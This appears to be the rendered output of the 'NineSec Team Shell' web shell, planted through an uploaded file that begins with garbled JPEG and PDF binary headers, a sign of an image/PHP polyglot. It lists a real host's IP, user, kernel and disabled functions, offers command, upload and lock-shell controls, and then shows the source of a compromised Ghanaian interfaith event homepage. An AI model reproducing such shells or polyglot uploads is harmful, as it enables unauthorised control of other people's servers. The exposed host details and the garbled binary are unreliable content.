JFIF``;CREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 C     C   ,, }!1AQa"q2#BR$3br %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz w!1AQaq"2B #3Rbr $4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz ?5 (3@ @q@ =hh1 ҀĜPqހi ( í ( ((h (Pnu(9@ h'h*.Yv-dž|;*$ ߓR3ۼ EJ޸nQ֝/V}5IM񭶟w.1k' Ziwm{lq8d?FP"Uja(åP@f1@P@`PP@1@3@7$p9 ƵwLP,RJK3>?Y>:K%αJ+a~2~uk2mi`0ԴP4[f&♑ чM%)tE%[I#OҀ?C>|V -k ״-% P2SEu7 4bZ( ( ( (f%]{eLi Ff|wg'~C?ďOPi|OIgHG'ޗqS_LA48J؉(@=WR 5[gWZ3\Ì2q!r7lWW6v?|<1ʰj.kehcG**׭Qݶ~rN\R{ݍCI RnPPuM'US9B/K xĹ{:Z,Dў]lY>x'9kށ!H>St+ڡUgOEǕhyIlMc")>V?Ҿ ƯwuL<Lm|75c߈jEFn7?b}~_qP}BH PpCp( ( (PFhP7JwPMq<Qww`T IpNmC .VG\wxSіr<Ϯ=hw?.;˽r[˻.$1w$Iғ՛ƛQP$_v_q7xtu?R2,Oj īgns3r{~ƶ!=|1r6'z/3eIrSANN7MEdVPXP@Q wdj jV'-*]na[^ }jE36h#efHViUrL~l{zsxGoW z-RyLY\ÚCn$]jZVhuRH7hc5j%m>^Z̍m~ѳas :TQyxL-LeUFßxZ.e{fyn]XetcFv*9,{_-δsujQ8|XFx_J;D~P~^'[V?&|K˲(Qq?5mFǀTidxz*~YWļV}6t ;]d6t'K\V=n2کU좸,\γH;mjW?j_YY'K!(P@P@Sn+ln漮cxv^,ZJ̇=c׊JwI˛>ַi|Xv WxlDqqN,%r\FMtq?3c_yn ʩX''>1H >ճ-$?t= ;Z^EBDai~PPb  ('ozq8a>޴ /\ʹ-/kोĘ|*|JԼW;/Yv {_8hݭO"vsU3j7سO/qs1=8i[9'zҖ32<qtD z_-; eFzfW E (&scyz#>w:UTP@P@9>} j-o|ΐʦD<2Ez.yT%+ItfO|%o )U3 >>ea#xqWg.Kkt&U(ن]ZT*S?F?U~w[Bǖ$%zw^ǖg ahث@P@ '4Ҁ+th@2h(׍>I%۽1GO<RE'Wk]Zb-mmn >I˨|!?ޠu+Hǘ_={8~ 1KZ>=Rm{ ._˂%OP.ZfY!:E|O]xVY ÝħQҿNa!?8y:u/x-iF;RrDK<2Emus+H4XC(_R6̧,aJ6D~򻾡H( ( ( PqUvcW|JѮ#}m̾YN?8%2;t|VAl`!yU%1ib.݃jոP.QWJ~ơ [Zmye+[^[JG4d}MJGsG?IAJ|uC=7nYF$ǣ)#pq@4P@b (4Q4_N4MoB:Cϔ3F}2r߀G?-=2\mRLBƼ9301pnϩt /0X@$K#@x[+OB1B qLrz~H|S=檰2\J$?(ךǙ"'n$<μlއxx{,5Q!Iq޿-I4waB5(5)+@ܒYM=4 GpRzP.dP@PA-]-FxUdJ7!~) 8o {[Q>wU%$~WUrm:v=N<(6ԯ+J =ZG4),LWSAV?\e%hO߳|Jyv`S9+q  ܕ1åP@쳯m/']{k)˜"3N9%֢R勗ceZ)En}Mh+O,;H~WW]A5flӎN+}fh*|dj_/ʗ*pջYx5?$R0'?ֿ1_W=MU4/0!VM}W<1_sişO55'jm|Mڥy|<ykxO77u mOg'xmt}@NkܛlCp:QUC `ή:lJUpꏘ~"h,!dڻ o,A_s 9HZɳq6vrNE29A.}kEaMFxo7>9JF_c:ʧ)+#OVfyW~(oOvtQ<*a]uR:u5p~)Qb9KGtit\3,e7x{6*$~Fgzs|&v'[bvoϥy8G57ǝ,XW˹z|vљ[ KњC,#vt{/뇷#IUV ?Yu_CӼG;''wּڙ}j{Y +&SwGFME\aEWoQtgRr%5O}pFnWो|'rL^coUX绔,XN5F?3L| T2zPV$y&]f}^2 Rl}sƝ]7?|)RY\/yҌ:4e[^?uٟx}_V:o37;{ѧO$ǃ?}F?0r:悃<@P@̴19o)şrӄ:zgD47["}9NJI#o ja$=ο6g%f ۡƞ{-ԯcWdx93x<.\+ \3(TZ\HZ_[ #iV-ɰ J(HiZ_A&yҕWa KR[Oi zCvQ8{zJn'QQtW/ZXW(ܤ~50׽>.L쪶O.5MMZ_LMݟd^*P>,Ѧzj? ?]ƹMXs{dat & Mwrz|M˰P4o<]|f P}+Hac-OLY!ի/w8=OIYJFI=)6[fa*cN*GEŅ IayX3*ʮ!pf] gmNk]L& G?5m7|GWEjh HlWQ\(+-gܒV0kVOxoIbUg }HFP@?y@ c8F!~#_5ˠ uw gJOWqHvQ_ SA7`j ʜC[«iCsP׎?M N^WٲT*c:`QMΟ+CqD\WSN?1^nZm|&5fp@h$B1@P@"9^j Rv&6N3hˡt)Ni^HS*}j`3оx.Mo^K͕ WcFHkzkjVg;r?iQXxB>s?> ԁ*E{94k#Oh*4$-])k^_ Xz (>=fp3@k>'gVbO5zD ᫲&n/|QsRUS+:ѴUj[9+-^A32E2I"VXzQ<8fKpDєuJRLs,i*t,v>?=xwFSO͕Cil~jN}2=vuUBqzm4ψK!҂@cOZP@q@l7Zi`QWc:Ox2ŚAoי$<*\/O O8{bB}zm.+d4rǹ57,D޺|;r\4h%^X~g@yg|Umad>T|5&@E?d~N=uP@>ƀ&*\m~+bЏ@ ⛽ N Nǃ_UWt?Hi~[4rՋi+yO׷S>L1Ktb7U ,3UGopfa ۲$2 \:񏕜tw]F<MAJ_(]a@ ii\ƴyծdx6 ˪[DF^f°WbaopGR|tu+E2WI#gqа?8yCr->:Z #ִ)v5=]#Ŀ%n&Q=+TK(O|4^E:sa4rJ.Bk;3Քcgy{7dfFc|ϧt$-G#Z#(VRΌ6xʌz49}SW- ٟe= NR~8YOZ> FxA@­VKM$8WJ>4p#^7O\WuTF"+W3ўR[ص]9ˀWdнt|H*9D[޿P}-?f O  $h6{vfXA'mh (Sb$l8h E?k~bioF@9Mp&i{ZW~~7ً=1mMIJniZ1{֮GhկOjINJ>!VY'cg=pMJ9-x,WS+?GԼS+8'l1?Z&#O;nwRi8&;kG6od{; @ǣQM5C -rW# }vIU}L-ƚܸt ᕸJG߿)J0yV~-wyQ}kߍ7Irn%:vGß淂uf|EarNYzS91;\nYӬ"=QCI v瀮5qV[u-vCҁ3{_ν\>I:lj5zgo 3}ݿ_Qias| S|8yW,^T R?5Zu_evD_<Q#$9~@մLA@83@ՖErC9'Eܖm F3M[fRؐKT85ǦsۭW3Gi?~/ԴJc^v:!yoJVvE6AW0TQ3EᣅOK |5,{^s[\ /:VVp늾gZS ʰӦhלܧjceMYfu%e`q6v!)6okKxqfKGEf^('É>!֞WͲLD>\Wˡy4( ( (KpbaSԲ2C>~4$cGCP0RROTM5쮟<'ƗKTwTV;bNjұܚd=BP@P@P:o;/ԩ#_k7W.sHǟs_a{isy6ugO9>"\ÆtGea#? ld=6?IsߚP@!{P<$)@gJ_7<6"e^i_1JuZDžX9ɠ p@hvz6zB&ZC@Ne ހ@(elUZ v>=c_pX_糽Ukk#|˕Տaa*M (Erw˥)?t~`!E}In~uG?,734-ĺݎa \_^ΖByRk?-^mm6R%b{Z+x1åP@! >(4gv[|AҭDعilmo3)RAP:@P@ #oH.5N#=ԩ 1$PoOh/ x{㮟kxN2hf7uz%>W%gXm€#<|mᗏ"C <9iҭvv%UPNJkTe[9b:qKpBx0 *r85Rz3ZKvg>ȱBg>|C?О ,>MFtlW~S++i&mD uj$g2$I쏙0#xsPfp3&v„όz`3@ (ao1O\ F RIǚb~ VnM~kͥZ ?+X'(̈́zo<Ѧ=)#!^c'8]cg?h_' Yݛz|QQj}КΧ{2lUsny(֝ ʫ= ?k3X6\|9gR%pJP@ G9=+Ew$yҔ7$xE`ge}+Ƚ/U[ny||HvկumN-AՉ} }cVVGuSrݟП;Mh~ siwp s#bxlJH1Ҁ ( (nq}iX f-;Ky?Y+]h9p3>6{Q`?gMO>%t-jK WOJ0àH (2͜.xUm DSK|qV'4tu?2ֹ:Rlr5͘ҋxIǫ˚epT OT(-򫰡k2UT[_ğ'-:?}^Q˞g\{i{ˆG/+Y** UTujyKx}>*xG-VMZ[7 wǢjbN0c>B( ( F@ ZNLࣿۡYΟM@(qz(zJfkyxe|5kV[2#n, ';_1es'5/m~G ~iSiJ!3Sy|ıF,jP` qZA-@ P@P@P@&9wbcՃ}{PIx&+ ,#B#MhѨ2^0:Kր?!˝:{k$KUсA*P<0& 7 P@0u zS sbϣ }QoA޿I Yw"5,/$k nihb%cyrMYE}_ɾzx^_^ͨ<9F9fc}ҦC'#SQխw{j?mItﶶrIEڙ~h=iuVV6P4 @eP@4P@P@P@@4s@n9~S@XvGGߴl~%En@fȠƿU{W^nsvCG4gkz7FS؊]vh(h (q@ (gx)k Tr{"|''9?*җ?\6&0ӔJo^?Ѽ6..IHb!>zxL'ucs?ǙI3? ?;^Tm{`X_3cɤWm ׷X $W͹&gWe59#tp~>/1}S>+{h 1(:A}1|t8t ( ( (=( AC8A{l<@xio>Eڍ9+NA(o]x ZσxK2/^~Ccs,䲚Xg6(VA@]wo @ @1Ҁ@(9! S\ZXj-Zf5YÌyq ~k[EKhw8jH⦸y9䱯Z妬~RZs{ Kxqަ^8̇F=Llq?a=W-+Au=I5sh?(zPɠ`P@P@P@P@(# LւGdPx~~Щ,!vZӌli`ApO0?Ư$*]xVKKcdoP> ~~,΄mu񵇸$PҀc6ʀqAH^#4 R{P5;-wWih۝O` ,2|H^ӣ.'-.q>hWϳb?@1~{kbuņt[ah{hm!Hb*FT {0hc?79`@P@P@P@(h"XplPy@ZƇ5;+}BD?<+?$,-.\s>hd/@#­Mm:FdKSh?"lGwU^q@~??1|OҚ}6@jXnwQ9iMGq#/>75"Ym}4iCG/![S3War<#>[_ nBXڤ\{2hnI'P3cCH M,( ( ( 9ɠ& PrhZ:x&>B (1hZ_ (zưր@ ɠL2h$2hɠ( (+la%/$pd{(^xqqh?7_xծ4 wMSIݤ~I@Wku4CWQH c%wdPGr-{Qn6.f:[|K?^~_kiv74wMNj60&+9VX 8<(av2Rholg  AU|1 7xL>oi8@ ⿈$v?!:@$#۸"9hQ<1h߿M3Öt]5-689ڀ0\~"`A=@ƟYqA{i"{y0xDf/^E#M {p71<oF=:95'Rp3@Kᴗc=< jpߜmۻ9 O|P`tyzpq##ހ4|3zh5k-jı\NFXu@~$_ź&{5pɷvP|c?vh6d ;IRFyP|Lg~&tRG$ 8$##4w^2|gC@,53sapFu@|so&,^7Aҋ/mۻ9ܨO@]/{/uoAtT0WKl}ƀ=EipjZ>miӮ%Y#z@%xy%cfw8O ~!xdNЃU$cwZT@FCgpsq%HbksB88۷vs1@'|WGJ5kNw ds9Q xitv[u*i׉9@N(|7^@Ү/@5^}Xis_\kh#ª};߅];|Qӵ /t]SMQue.K#|rGPG}bOWbP.\W3iVHO* ZIXzljSFmNQnf/n/(2K0h?ி'g'@}47 ƿO%}jy>/C4ʝ>Y͍,9lP:unjgZ0imrc;XpA+g >$-#X |~].5>Lԭ.l36$?*/xIuA4!qk[Fz3}x_|.o(I ,ud 0 u}}s'?[_'4h:jCa'#fR&- i?q?icy?,ǗNɷ -.40)'ê͎\(7 IҮ:IU?^vmI}u@<yWu_Ȟ=5=?y.#O@HqPc+>&JKyB6r|T AƎ2WFde;-7Q 2mk~4Wm4u?ըh aA@|Kq藠/$|-[B#yI;sA[\Zu޹u PYcUAX{h+&7 >i7Z, lv?OO I~%%;tVGV0GoZ .toL֎C9 ƀ= 1ZIggLrJ$xv߳ϣ]K mVmmA?ڗJ?n <6w|y3 Yuj/y2iWW2H33q4RI:C&ou7>;&ڶ [tz.sJMv).oB= %Ǡ4Ճ~v=|V@hGo%fzc@_tW|XOK{kxG9y3E# ƀ?7?g]~a$fP/ٺ+@?+‘K'iD<"{ nq%~?Frh㕣?z7^~iT{uჵC >j3~~rê)闞]?*> ZԿeo&YiW:i5;9$2&!P~&xEׅi*XOH''ԿWORwݢq2J@׿ $K6`_ $PP@ľ>x? /@O>5x?RZkVR@x,~[,5/OsRIlN9W|BN\ d_%2aztPofvܼHܰtUxgH^4KOOI3Z/O9O*VLm+M~6y>)J3#:^?^þ[[]gYIxIB\?a~**e}wQ5Q W*̊>b8'Zៅ.گN$TJ;%MOLw="Ԓ&x`|lqO@c~l,:|7Cz}jmX2[FET\0@_?ωW#ʙ L6΀><|yH|EU#YSrM ϯo_ 3i6N%1D2:sgEmY7T1٥F`3J㏇u/w䉠Bq6m4RZU'\-tӬV;{2Yxw$bIlPwvm{=S׬#F1M8rq\_Ͽ?|Y_mkڵ捪MXpz<⻯AHy^nC,}aNY`6 ua|}mSšUrIU_k~tL6sƹg-~f>]_)43HYd ֖ Ym7'-6Rx ~\h~|n i-M mK!@ AFYfƗ <,1=p? :1 ToA1K+ uh#Qsg,Ƅf {f1Y>1V3/(?-MelbFV*@?ݐ7E{SLεѭ@ACJ > (_-X|sI|-^PJWsc>cb_s_`qXiyǗ>|>OZ#oh$P>3_<|wK<ߑ,c eRVx}Cg cYF#ݒíc? /&(x7Hrq@X-BasktML3?>$I)k?S*h(-. >@?7|C sc> t/?|_[$nD'WvP?:?mC ~?m JvN0+~ȿ΁-x5Yq}P7 n怱??Əm|c/$YN2Dp#,kcjo7u/\[ +t!ʱ `~l ,g뿅WxKZ4ˤ]>XMzwS :+āw3@|x:'j:6Cq#͟OǶ$nXuKfi_CǯxCT._˽^G_|cSE⏈iHYklP? c=gkƯbFʤFK9ց3|[ׇu|DҦ.b!R @g /?LaܙNmEϟ4П셢,/5I4-GIi`+eA#p},s5k"~#-S7-․+cC4ԀfpPHh4 4 Pq@O@PP@(1@#4.hɠ'րIsAHN 4Ps@=($w4d@n> I=hhCsAAA((1@ yL%PDF-1.3 % 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream x\mo7 a?Hyi{$E(i?ckrAvEzFHI|H?{|Z|X|Ň77?Oݞ__lOя77wx'?Ű8I] gQB2za]l|ɇ՟?} " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q f ^ u> $k ( H l EW o W  %l d] 6 ] - L  > 9 t* y 4 b 5 Q\ \ v U  2c 3  c qM = |  IT: S |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " 3 }$jH q w bx B" < 5b }% + 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx .) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f d v* ' i G j * cB zi  _  j z[ 7; 2 -  zZ  f V z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3 l ]u b-5 Fwm z zp)M ) jO q u q  E K l 7  [[ y Xg e ~ , 9  k; +ny  )s=9) u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d,  4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress
Warning: file_get_contents(test.txt): Failed to open stream: No such file or directory in /home/u178500310/domains/princess.uaeclick.com/public_html/uploads/1770357427_0_197006009.php(237) : eval()'d code on line 6
NineSec Team Shell
NineSec Team Shell
Server IP : 82.25.113.252  /  Your IP : 216.73.216.172
Web Server : LiteSpeed
System : Linux fr-int-web2058.main-hosting.eu 5.14.0-570.62.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Nov 11 10:10:59 EST 2025 x86_64
User : u178500310 ( 178500310)
PHP Version : 8.2.29
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /home/u178500310/domains/princess.uaeclick.com/public_html/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : /home/u178500310/domains/princess.uaeclick.com/public_html/index.php
<?php
// Security headers
header("X-Frame-Options: DENY");
header("X-Content-Type-Options: nosniff");
header("X-XSS-Protection: 1; mode=block");
header("Referrer-Policy: strict-origin-when-cross-origin");
header("Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:");

// Start session securely only if not already started
if (session_status() === PHP_SESSION_NONE) {
    session_start([
        'cookie_httponly' => true,
        'cookie_secure' => true,
        'cookie_samesite' => 'Strict',
        'use_strict_mode' => true
    ]);
}

// Include necessary files with security checks
require_once 'config/database.php';
include 'includes/header.php';

// Input validation function
function sanitize_input($data) {
    if (is_array($data)) {
        return array_map('sanitize_input', $data);
    }
    return htmlspecialchars(trim($data), ENT_QUOTES, 'UTF-8');
}

// CSRF token generation
function generate_csrf_token() {
    if (empty($_SESSION['csrf_token'])) {
        $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
    }
    return $_SESSION['csrf_token'];
}

// Validate CSRF token
function validate_csrf_token($token) {
    return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);
}
?>

<section class="hero">
    <div class="container">
        <h1>Let's Break the World Record Together!</h1>
        <p class="subtitle">Join 14,000 people (7,000 Christians + 7,000 Muslims) in an interfaith foot washing ceremony for global healing</p>
        <div class="hero-buttons">
            <a href="register.php" class="btn btn-primary">Register Now</a>
            <a href="volunteer_register.php" class="btn btn-secondary">Be Our Volunteer</a>
            <a href="about.php" class="btn btn-outline">Learn More</a>
        </div>
    </div>
</section>

<section class="section">
    <div class="container">
        <h2 class="section-title">About the Event</h2>
        <div class="card">
            <p>The "Love: Heal Me, Heal Ghana, Heal the World" is a groundbreaking healing prayer event set as a collective prayer for 7 days, 7 times a day. This interfaith devotional prayer includes a Feet Worship Ceremony for personal, national and global health.</p>
            <p>We are organizing a massive interfaith foot washing ceremony with the goal of breaking the Guinness World Record for the "Most people washing their feet" which currently stands at 10,289 participants.</p>
            <p>Under the leadership of <strong>Princess Asie Ocansey</strong>, we aim to bring together 14,000 participants - 7,000 Christians and 7,000 Muslims - in a powerful demonstration of unity, love, and healing.</p>
        </div>
    </div>
</section>

<section class="section" style="background-color: var(--primary); color: white;">
    <div class="container">
        <h2 class="section-title">Current World Record</h2>
        <div class="stats-grid">
            <div class="stat-item">
                <div class="stat-number" style="color: white; text-shadow: 2px 2px 4px rgba(0,0,0,0.3);">10,289</div>
                <div class="stat-label">Current Record</div>
            </div>
            <div class="stat-item">
                <div class="stat-number" style="color: white; text-shadow: 2px 2px 4px rgba(0,0,0,0.3);">14,000</div>
                <div class="stat-label">Our Goal</div>
            </div>
            <div class="stat-item">
                <div class="stat-number" style="color: white; text-shadow: 2px 2px 4px rgba(0,0,0,0.3);">3,711</div>
                <div class="stat-label">Record to Break</div>
            </div>
            <div class="stat-item">
                <div class="stat-number" id="current-volunteers" style="color: white; text-shadow: 2px 2px 4px rgba(0,0,0,0.3);">0</div>
                <div class="stat-label">Current Volunteers</div>
            </div>
        </div>
    </div>
</section>

<section class="section">
    <div class="container">
        <h2 class="section-title">Meet Our Leader: Princess Asie K Ocansey</h2>
        
        <div class="about-content">
            <div class="about-text">
                <p>Princess Asie Kabuki Ocansey is a world-renowned Engineer, Philanthropist, Theologian, and USA White House Presidential Lifetime Achievement Awardee. She is the visionary behind the Royal Love initiative.</p>
                <p>Her Excellency describes herself as being "spiritually intoxicated by Christ's new commandment" during a profound spiritual experience which inspired the Royal Love devotional and the world record foot washing ceremony.</p>
                <p>As the Executive Chairperson of multiple award-winning organizations, Princess Ocansey has dedicated her life to holistic healing, education, and interfaith unity.</p>
                <a href="about.php" class="btn btn-primary">Learn More About Princess Ocansey</a>
            </div>
            <div class="about-image">
                <img src="images/princess.jpg" alt="Princess Asie K Ocansey" class="gallery-image">
                <p><em>Princess Asie K Ocansey - Visionary Leader</em></p>
            </div>
        </div>
    </div>
</section>

<section class="section">
    <div class="container">
        <h2 class="section-title">Upcoming Events</h2>
        
        <?php
        // Fetch events from database with security measures
        try {
            $stmt = $pdo->prepare("SELECT * FROM events WHERE event_date >= CURDATE() ORDER BY event_date ASC LIMIT 3");
            $stmt->execute();
            $events = $stmt->fetchAll(PDO::FETCH_ASSOC);
            
            if (empty($events)) {
                echo '<div class="card">';
                echo '<h3>World Record Foot Washing Ceremony</h3>';
                echo '<p><strong>Date:</strong> March 15, 2024</p>';
                echo '<p><strong>Location:</strong> Accra, Ghana</p>';
                echo '<p>Join us for the historic interfaith foot washing ceremony where we aim to break the Guinness World Record with 14,000 participants.</p>';
                echo '<p>This event will bring together 7,000 Christians and 7,000 Muslims in a powerful demonstration of unity and healing.</p>';
                if (isset($_SESSION['user_id'])) {
                    echo '<a href="events.php" class="btn btn-primary">Register for this Event</a>';
                } else {
                    echo '<a href="register.php" class="btn btn-primary">Register to Participate</a>';
                }
                echo '</div>';
            } else {
                foreach ($events as $event) {
                    echo '<div class="card">';
                    echo '<h3>' . htmlspecialchars($event['title'], ENT_QUOTES, 'UTF-8') . '</h3>';
                    echo '<p><strong>Date:</strong> ' . htmlspecialchars(date('F j, Y g:i A', strtotime($event['event_date'])), ENT_QUOTES, 'UTF-8') . '</p>';
                    echo '<p><strong>Location:</strong> ' . htmlspecialchars($event['location'], ENT_QUOTES, 'UTF-8') . '</p>';
                    echo '<p>' . htmlspecialchars($event['description'], ENT_QUOTES, 'UTF-8') . '</p>';
                    if (isset($_SESSION['user_id'])) {
                        echo '<a href="events.php" class="btn btn-primary">Register for this Event</a>';
                    } else {
                        echo '<a href="register.php" class="btn btn-primary">Register to Participate</a>';
                    }
                    echo '</div>';
                }
            }
        } catch (PDOException $e) {
            // Log error but don't display to user
            error_log("Database error: " . $e->getMessage());
            echo '<div class="card">';
            echo '<h3>World Record Foot Washing Ceremony</h3>';
            echo '<p><strong>Date:</strong> March 15, 2024</p>';
            echo '<p><strong>Location:</strong> Accra, Ghana</p>';
            echo '<p>Join us for the historic interfaith foot washing ceremony where we aim to break the Guinness World Record with 14,000 participants.</p>';
            echo '<p>This event will bring together 7,000 Christians and 7,000 Muslims in a powerful demonstration of unity and healing.</p>';
            if (isset($_SESSION['user_id'])) {
                echo '<a href="events.php" class="btn btn-primary">Register for this Event</a>';
            } else {
                echo '<a href="register.php" class="btn btn-primary">Register to Participate</a>';
            }
            echo '</div>';
        }
        ?>
        
        <div style="text-align: center; margin-top: 30px;">
            <a href="events.php" class="btn">View All Events</a>
        </div>
    </div>
</section>

<section class="section">
    <div class="container">
        <h2 class="section-title">Event Highlights</h2>
        
        <div class="photo-gallery">
            <div class="photo-item">
                <img src="images/event1.jpg" alt="Interfaith Gathering" class="gallery-image" loading="lazy">
                <div class="photo-caption">Interfaith Prayer Session</div>
            </div>
            <div class="photo-item">
                <img src="images/event2.jpg" alt="Foot Washing Ceremony" class="gallery-image" loading="lazy">
                <div class="photo-caption">Foot Washing Ceremony</div>
            </div>
            <div class="photo-item">
                <img src="images/event3.jpg" alt="Community Participation" class="gallery-image" loading="lazy">
                <div class="photo-caption">Community Participation</div>
            </div>
            <div class="photo-item">
                <img src="images/event4.jpg" alt="Cultural Performance" class="gallery-image" loading="lazy">
                <div class="photo-caption">Cultural Performances</div>
            </div>
        </div>
    </div>
</section>

<section class="section" style="background-color: #f8f9fa;">
    <div class="container">
        <h2 class="section-title">How to Participate</h2>
        
        <div class="participation-grid">
            <div class="participation-card">
                <div class="participation-icon">
                    <i class="fas fa-user-plus"></i>
                </div>
                <h3>1. Register</h3>
                <p>Create an account on our platform to become an official participant.</p>
                <a href="register.php" class="btn">Register Now</a>
            </div>
            
            <div class="participation-card">
                <div class="participation-icon">
                    <i class="fas fa-hands"></i>
                </div>
                <h3>2. Choose Your Role</h3>
                <p>Select whether you'll participate as a Christian or Muslim participant.</p>
                <a href="participants.php" class="btn">Learn More</a>
            </div>
            
            <div class="participation-card">
                <div class="participation-icon">
                    <i class="fas fa-calendar-alt"></i>
                </div>
                <h3>3. Attend Events</h3>
                <p>Join our preparatory events and the main world record ceremony.</p>
                <a href="events.php" class="btn">View Events</a>
            </div>
        </div>
    </div>
</section>

<!-- Volunteer Section -->
<section class="section volunteer-section">
    <div class="container">
        <h2 class="section-title">Become Our Volunteer</h2>
        
        <div class="volunteer-cta">
            <div class="volunteer-content">
                <div class="volunteer-text">
                    <h3>Make a Difference as a Volunteer</h3>
                    <p>Join our team of dedicated volunteers and be part of this historic world record attempt. As a volunteer, you'll play a crucial role in making this event successful while serving your community.</p>
                    
                    <div class="volunteer-benefits">
                        <div class="benefit-item">
                            <div class="benefit-icon">
                                <i class="fas fa-hands-helping"></i>
                            </div>
                            <div class="benefit-text">
                                <h4>Serve Your Community</h4>
                                <p>Make a tangible impact in your local community</p>
                            </div>
                        </div>
                        <div class="benefit-item">
                            <div class="benefit-icon">
                                <i class="fas fa-users"></i>
                            </div>
                            <div class="benefit-text">
                                <h4>Join Interfaith Team</h4>
                                <p>Work with people from diverse backgrounds</p>
                            </div>
                        </div>
                        <div class="benefit-item">
                            <div class="benefit-icon">
                                <i class="fas fa-award"></i>
                            </div>
                            <div class="benefit-text">
                                <h4>Gain Experience</h4>
                                <p>Develop valuable skills and experience</p>
                            </div>
                        </div>
                        <div class="benefit-item">
                            <div class="benefit-icon">
                                <i class="fas fa-heart"></i>
                            </div>
                            <div class="benefit-text">
                                <h4>Make Lasting Impact</h4>
                                <p>Be part of a historic world record event</p>
                            </div>
                        </div>
                    </div>
                    
                    <div class="volunteer-stats">
                        <div class="volunteer-stat">
                            <span class="stat-number" id="approved-volunteers">0</span>
                            <span class="stat-label">Approved Volunteers</span>
                        </div>
                        <div class="volunteer-stat">
                            <span class="stat-number" id="countries-represented">0</span>
                            <span class="stat-label">Countries Represented</span>
                        </div>
                    </div>
                    
                    <div class="volunteer-actions">
                        <a href="volunteer_register.php" class="btn btn-primary btn-large">Become a Volunteer</a>
                        <a href="volunteer_info.php" class="btn btn-outline">Learn More About Volunteering</a>
                    </div>
                </div>
                
                <div class="volunteer-image">
                    <img src="images/volunteer.jpg" alt="Our Volunteers in Action" class="gallery-image" loading="lazy">
                    <div class="image-caption">
                        <p><em>Join our dedicated team of volunteers making history</em></p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<section class="section">
    <div class="container">
        <h2 class="section-title">Volunteer Testimonials</h2>
        
        <div class="testimonials-grid">
            <div class="testimonial-card">
                <div class="testimonial-content">
                    <p>"Volunteering for this event changed my perspective on interfaith unity. The experience was truly transformative."</p>
                </div>
                <div class="testimonial-author">
                    <div class="author-image">
                        <i class="fas fa-user-circle"></i>
                    </div>
                    <div class="author-info">
                        <h4>Sarah Johnson</h4>
                        <p>Event Coordinator Volunteer</p>
                    </div>
                </div>
            </div>
            
            <div class="testimonial-card">
                <div class="testimonial-content">
                    <p>"Being part of this historic moment while serving my community has been the most rewarding experience of my life."</p>
                </div>
                <div class="testimonial-author">
                    <div class="author-image">
                        <i class="fas fa-user-circle"></i>
                    </div>
                    <div class="author-info">
                        <h4>Michael Chen</h4>
                        <p>Community Outreach Volunteer</p>
                    </div>
                </div>
            </div>
            
            <div class="testimonial-card">
                <div class="testimonial-content">
                    <p>"The training and support we received as volunteers was exceptional. I felt valued and empowered throughout."</p>
                </div>
                <div class="testimonial-author">
                    <div class="author-image">
                        <i class="fas fa-user-circle"></i>
                    </div>
                    <div class="author-info">
                        <h4>Amina Mohammed</h4>
                        <p>Ceremony Support Volunteer</p>
                    </div>
                </div>
            </div>
        </div>
    </div>
</section>

<!-- Image Modal -->
<div id="imageModal" class="modal">
    <span class="close">&times;</span>
    <img class="modal-content" id="modalImage" alt="Enlarged view">
    <div id="modalCaption"></div>
</div>

<style>
    /* Updated Homepage Styles */
    .hero-buttons {
        display: flex;
        gap: 15px;
        flex-wrap: wrap;
        justify-content: center;
        margin-top: 30px;
    }

    .btn-secondary {
        background-color: var(--secondary);
        color: white;
    }

    .btn-secondary:hover {
        background-color: #e67e22;
        transform: translateY(-2px);
    }

    .btn-large {
        padding: 15px 30px;
        font-size: 1.1rem;
        font-weight: bold;
    }

    /* Stats Grid */
    .stats-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(200px, 1fr));
        gap: 30px;
        text-align: center;
    }

    .stat-item {
        padding: 20px;
    }

    .stat-number {
        font-size: 3rem;
        font-weight: bold;
        margin-bottom: 10px;
    }

    .stat-label {
        font-size: 1.1rem;
        opacity: 0.9;
    }

    /* Participation Grid */
    .participation-grid {
        display: grid;
        grid-template-columns: repeat(auto-fit, minmax(280px, 1fr));
        gap: 30px;
    }

    .participation-card {
        background: white;
        padding: 40px 30px;
        border-radius: 15px;
        text-align: center;
        box-shadow: 0 10px 30px rgba(0,0,0,0.1);
        transition: transform 0.3s, box-shadow 0.3s;
        border-top: 5px solid var(--primary);
    }

    .participation-card:hover {
        transform: translateY(-10px);
        box-shadow: 0 20px 40px rgba(0,0,0,0.15);
    }

    .participation-icon {
        font-size: 3rem;
        color: var(--primary);
        margin-bottom: 20px;
    }

    .participation-card h3 {
        color: var(--primary);
        margin-bottom: 15px;
        font-size: 1.4rem;
    }

    .participation-card p {
        color: #666;
        margin-bottom: 25px;
        line-height: 1.6;
    }

    /* Volunteer Section */
    .volunteer-section {
        background: linear-gradient(135deg, var(--secondary) 0%, #e67e22 100%);
